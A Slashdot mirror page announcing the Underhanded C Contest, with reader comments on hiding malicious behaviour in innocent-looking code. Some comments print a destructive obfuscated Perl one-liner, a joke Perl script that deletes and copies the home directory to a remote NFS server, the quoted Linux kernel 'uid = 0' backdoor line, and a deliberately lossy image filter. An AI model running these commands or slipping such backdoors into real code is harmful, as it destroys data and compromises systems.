Slashdot Mirror


The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

19 of 341 comments (clear)

  1. Re:What are the legal ramifications of this? by spellraiser · · Score: 2, Informative

    RTFA, please.

    The challenge for the first UCC is to write a simple program that performs some basic image-processing operation, for example smoothing or resampling, but manages to conceal a unique imperceptible fingerprint in each image it opens.

    The fingerprint should be different for every execution of the program. It doesn't have to have any particular meaning, but useful tracking information is worth extra points (tho getting caught is worth fewer points.) The print should be extractable from the output image by another program. Realistically, the detector will not have access to the original image for comparison purposes.

    I seriously doubt that anyone could get arrested for writing something like this, dubious legal state or not.

    --
    I hear there's rumors on the Slashdots
  2. Re: This year's challenge by ErichTheWebGuy · · Score: 4, Informative

    Any open-source steganography programs

    Why, yes! http://sourceforge.net/projects/steghide/

    --
    bash: rtfm: command not found
  3. Re:Indeed. This could be a field day for Java and by bcmm · · Score: 2, Informative

    RTFA. The idea is to hide the malicious functions so that the source code looks innocent.

    --
    # cat /dev/mem | strings | grep -i llama
    Damn, my RAM is full of llamas.
  4. Re:Seems a bit like those hacking contests by numbski · · Score: 5, Informative
    This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?
    perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'
    Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

    I mean I could do something like this:

    # When do you want it done?
    $today="sudo";
    $yesterday="su -c";

    # Define our globals
    $superman="ls";
    $wonderwoman="rm"
    $batm an="cp";
    $aquaman="mv";

    #define some important flags
    $blows="-r";
    $maims="-p";
    $chunks="-f";
    $defeats="-s";

    #define some targets
    $your_mom="/";
    $your_dad="/usr";
    $your_ sister="~";
    $your_teacher="/bin";
    $hell="/dev/nu ll";
    $heaven="/dev/random";
    $skyhigh="nfs://myse rver/myhome";

    #....later, back at Superfriends Headquarters

    `$batman $blows $your_sister $skyhigh`;
    `$wonderwoman $blows $chunks $on $your_sister`;
    `$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
    #Would you like to see the rest of the story?
    #print "Would you like to hear more? Please type your password to continue!";

    The superfriends save the day again.
    --

    Karma: Chameleon (mostly due to the fact that you come and go).

  5. Re:Attack the Compiler by derek_farn · · Score: 2, Informative

    For all you could possibly want to know about C, and more, check out this book (8M pdf). Those who want pure, uncommentaried, standard words can find them here.

  6. Re:Indeed. This could be a field day for Java and by Xcott+Craver · · Score: 3, Informative
    Correct, making it look valid is the main purpose of the contest.

    Please check out the contest page: the "evil" behavior is not something java would prevent you from doing. We're not talking about crashing a computer or gaining root access, but performing a data processing task incorrectly. It's entirely problem state.

    That being said, I chose C because it does permit more tricks along the lines of stack smashing and type mismatches. The winners of the obfuscated V contest used techniques like this to conceal their evil behavior, so I feel this would give people more freedom to get creative.

    Finally, this is not meant to slam C, or open source, or any such like. I can't imagine how anyone can look at this contest and see it as an argument for less openness.

    Xcott

  7. Re:This will work by Anonymous Coward · · Score: 1, Informative

    1. "Invoking" the law is what you do in response to a violation.

    2. You don't mod people down over Godwin's Law. You declare the argument over, and the person who tried to use nazis or Hitler to vilify their opponent is the loser. There is not "-1, Godwin" mod category, nor should there be.

    3. You only mod jokes up as "Funny" or "Insightful" if they are, in fact, funny or insightful. Saying Free Beer doesn't lead to greater liberties because Hitler once gave some people free beer fails to either debunk the original point (which can still be true in other cases), and also fails to make anybody laugh.

    So no mod points should be used on his post, so people can save them to mod down both your post and mine as "Offtopic."

  8. Re:Story is just plain bad by schotter · · Score: 3, Informative

    "The day someone makes a knockoff of Slashdot that's a bit more computer-science oriented and isn't solely aimed at producing the same tired old trolling every day"

    Have you seen Technocrat.net? Looks to be just starting, but I'm already impressed: slashdot ran an article on a nanotech textiles protest - technocrat ran one on a group of scientists demonstrating a refined iteration of a carbon nanotube CPU. Comments are on-topic too, touch wood.

    (Or there's always ars for CS stuff, but they're hardly a /. knockoff.)

  9. Re:Why? by Xcott+Craver · · Score: 3, Informative
    Who is behind this and what is their motivations?

    Is Google down? Okay, I updated the faq to tell you who we are.

    Also, we never said anything about hackers. Nowhere have we associated hacking with malicious behavior. And I sincerly hope this will be a learning experience for all involved. I, in particular, will probably learn a thing or two about running next year's contest.

    Xcott

  10. Re:Why? by Frank+T.+Lofaro+Jr. · · Score: 2, Informative

    Remember the recent Linux contamination

    Something like:

    if (blah || blah || uid=0) {
    blah;
    } ...

    --
    Just because it CAN be done, doesn't mean it should!
  11. Linux Kernel Backdoor Attempt by Johnny+Hardcore · · Score: 5, Informative

    This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

    The attempt was trying to insert

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

    inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).

  12. C is an awful language by Urusai · · Score: 2, Informative

    You're just used to it. Problems: difficult to compile, difficult to convert to better languages (thank you preprocessor), encourages obfuscation, some constructs are clearly tacked on and/or poorly implemented (switch), arbitrary nonorthogonality (struct, parens and brace usage, pointer/array declaration), shitty strings. That's just off the top of my head.

  13. Service Pack fixes it, but it's documented by edalytical · · Score: 4, Informative
    --
    Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
  14. Re:An example from years ago by exp(pi*sqrt(163)) · · Score: 3, Informative

    It was for DOS4GW but I think you're being pedantic.

    --
    Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
  15. Re:Subtlety by RPI+Geek · · Score: 2, Informative

    Actually I'm from upstate NY and have had a chance to try Ommegang beers; of the three that I've tried, all are excellent.

    I've tried their Rare Vos, Hennepin, and self-named Ommegang beer: my favorite is the Rare Vos but I like them all.

    --

    - "Nobody came out that night, not one was ever seen. But Old Man Stauf is waiting there, crazy sick and mean!"
  16. Re:how's this? by Rei · · Score: 2, Informative

    That's not very sneaky - it looks downright malicious. At the very least, who would run a program that launches a new fsck every five seconds? Even if the fs was read-only, you'll bring your system to a crawl in no time.

    What you really want is something more subtle. For example, here's an easy one using rounding errors in the core of a smoothing algorithm. Assumes a picture of width x height of type "RGB" (assumed to be a typedef'ed struct containing bytes r, g, and b) in a two-dimensional array called "picture" (and an equivalent one called "dest_picture").

    for (int x=0; xwidth; x++)
    {
    const int next_x=(x+1==width ? 0 : x+1);
    const int prev_x=(x-1==-1 ? width-1 : x-1);
    for (int y=0; yheight; y++)
    {
    const int next_y=(y+1==height ? 0 : y+1);
    const int prev_y=(y-1==-1 ? height-1 : y-1);

    const RGB point1 = picture[prev_x][prev_y];
    const char point1_r = point1.r / 9;
    const char point1_g = point1.g / 9;
    const char point1_b = point1.b / 9;

    const RGB point2 = picture[x][prev_y];
    const char point2_r = point2.r / 9;
    const char point2_g = point2.g / 9;
    const char point2_b = point2.b / 9; // Etc - continue for 9 points from prev_x to next_x, prev_y to next_y

    const char dest_r = point1_r + point2_r + point3_r + point4_r + point5_r + point6_r + point7_r + point8_r + point9_r;
    const char dest_g = point1_g + point2_g + point3_g + point4_g + point5_g + point6_g + point7_g + point8_g + point9_g;
    const char dest_b = point1_b + point2_b + point3_b + point4_b + point5_b + point6_b + point7_b + point8_b + point9_b;

    next_picture[x][y].r=dest_r;
    next_picture[x][y].g=dest_g;
    next_picture[x][y].b=dest_b;
    }
    }

    In case you didn't catch what it does, by dividing by nine before accumulating instead of afterwards, we're losing more color resolution. You'll never see values 253, 254, or 255, for example, in r, g, or b. There will also be a sawtooth pattern in what were initially smooth gradients on a per-channel basis (less noticable when the image is viewed as a whole). It's not perfect, but it is a start. The possibilities really increase when doing things that add noise to an image; skewing a randomization function is trivially easy.

    If you want to be really devious, though, you need to mess with program internals. Overflow a string to mess with your function's frame return parameter, for example. You could also do things like deliberately cause signals to be thrown that you catch. There's a lot of possibilities. :) I can't wait to see the results.

    --
    "This wallpaper is killing me. One of us has got to go." -- Oscar Wilde on his deathbed
  17. Vectors by headkase · · Score: 2, Informative

    Any program that was able to do two things would pass: The ability to load remote information into memory and to begin execution of the loaded information.
    A way to automatically find this would be to use an execution tracer that would alert you when the programs point of execution "left" it's source code or allowed system api's.

    --
    Shh.
  18. Re:I'll take the bait by Dwonis · · Score: 2, Informative
    Finally, AFAICR C doesn't support the implicit return at the end of main that C++ does, so there's a missing return statement. (I may be wrong about the third one if it was fixed in C99; I don't have a copy of the revised standard handy.)

    You are correct. This is from ISO/IEC 9899:1999(E):

    5.1.2.2.3 Program termination 1 If the return type of the main function is a type compatible with int, a return from the initial call to the main function is equivalent to calling the exit function with the value returned by the main function as its argument; reaching the } that terminates the main function returns a value of 0. If the return type is not compatible with int, the termination status returned to the host environment is unspecied.
    (emphasis added)
  19. Re:You're just not used to it. by Anonymous Coward · · Score: 1, Informative

    Are you really going to want to wait 100s of milliseconds for a garbage collector to run at arbitrary intervals in your carefully word aligned DMA transaction code that needs to run within a matter of microseconds?

    Are you aware that the Linux kernel contains not just one, but two fully-functional tracing garbage collectors? There's one in JFS2 and another in the routing table/xform code.

    Funny how people always get hung up about GC, when really it's all around them and they never even knew, because it the flaws they thought it had don't exist .